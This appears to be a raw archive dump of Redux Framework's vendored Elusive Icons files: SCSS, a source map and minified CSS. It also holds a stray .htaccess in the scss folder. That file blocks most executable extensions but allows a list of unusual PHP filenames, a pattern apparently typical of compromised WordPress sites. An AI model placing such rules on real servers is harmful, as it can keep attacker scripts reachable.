$el-var-wrench-alt; } .#{$el-css-prefix}-icon-wrench:before, .#{$el-css-prefix}-wrench:before { content: $el-var-wrench; } .#{$el-css-prefix}-icon-youtube:before, .#{$el-css-prefix}-youtube:before { content: $el-var-youtube; } .#{$el-css-prefix}-icon-zoom-in:before, .#{$el-css-prefix}-zoom-in:before { content: $el-var-zoom-in; } .#{$el-css-prefix}-icon-zoom-out:before, .#{$el-css-prefix}-zoom-out:before { content: $el-var-zoom-out; } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_fixed-width.scss������������������������������0000644�����������������00000000170�14720701300�0022255 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Fixed Width Icons // ------------------------- .#{$el-css-prefix}-fw { width: (18em / 14); text-align: center; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/.htaccess��������������������������������������0000644�����������������00000001626�14720701300�0020612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/elusive-icons.css.map�������������������������������0000644�����������������00000031343�14720701300�0022113 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "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", "sources": ["elusive-icons.scss"], "names": [], "file": "elusive-icons.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/elusive-icons.css�����������������������������������0000644�����������������00000051336�14720701300�0021343 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * Elusive Icons 2.0.0 by @ReduxFramework - http://elusiveicons.com - @reduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'Elusive-Icons';src:url("fonts/elusiveicons-webfont.eot?v=2.0.0");src:url("fonts/elusiveicons-webfont.eot?#iefix&v=2.0.0") format("embedded-opentype"),url("fonts/elusiveicons-webfont.woff?v=2.0.0") format("woff"),url("fonts/elusiveicons-webfont.ttf?v=2.0.0") format("truetype"),url("fonts/elusiveicons-webfont.svg?v=2.0.0#elusiveiconsregular") format("svg");font-weight:normal;font-style:normal}.el{display:inline-block;font:normal normal normal 14px/1 "Elusive-Icons";font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;transform:translate(0, 0)}.el-lg{font-size:1.3333333333em;line-height:.75em;vertical-align:-15%}.el-2x{font-size:2em}.el-3x{font-size:3em}.el-4x{font-size:4em}.el-5x{font-size:5em}.el-fw{width:1.2857142857em;text-align:center}.el-ul{padding-left:0;margin-left:2.1428571429em;list-style-type:none}.el-ul>li{position:relative}.el-li{position:absolute;left:-2.1428571429em;width:2.1428571429em;top:.1428571429em;text-align:center}.el-li.el-lg{left:-1.8571428571em}.el-border{padding:.2em .25em .15em;border:solid 0.08em #eee;border-radius:.1em}.pull-right{float:right}.pull-left{float:left}.el.pull-left{margin-right:.3em}.el.pull-right{margin-left:.3em}.el-spin{-webkit-animation:el-spin 2s infinite linear;animation:el-spin 2s infinite linear}.el-pulse{-webkit-animation:el-spin 1s infinite steps(8);animation:el-spin 1s infinite steps(8)}@-webkit-keyframes 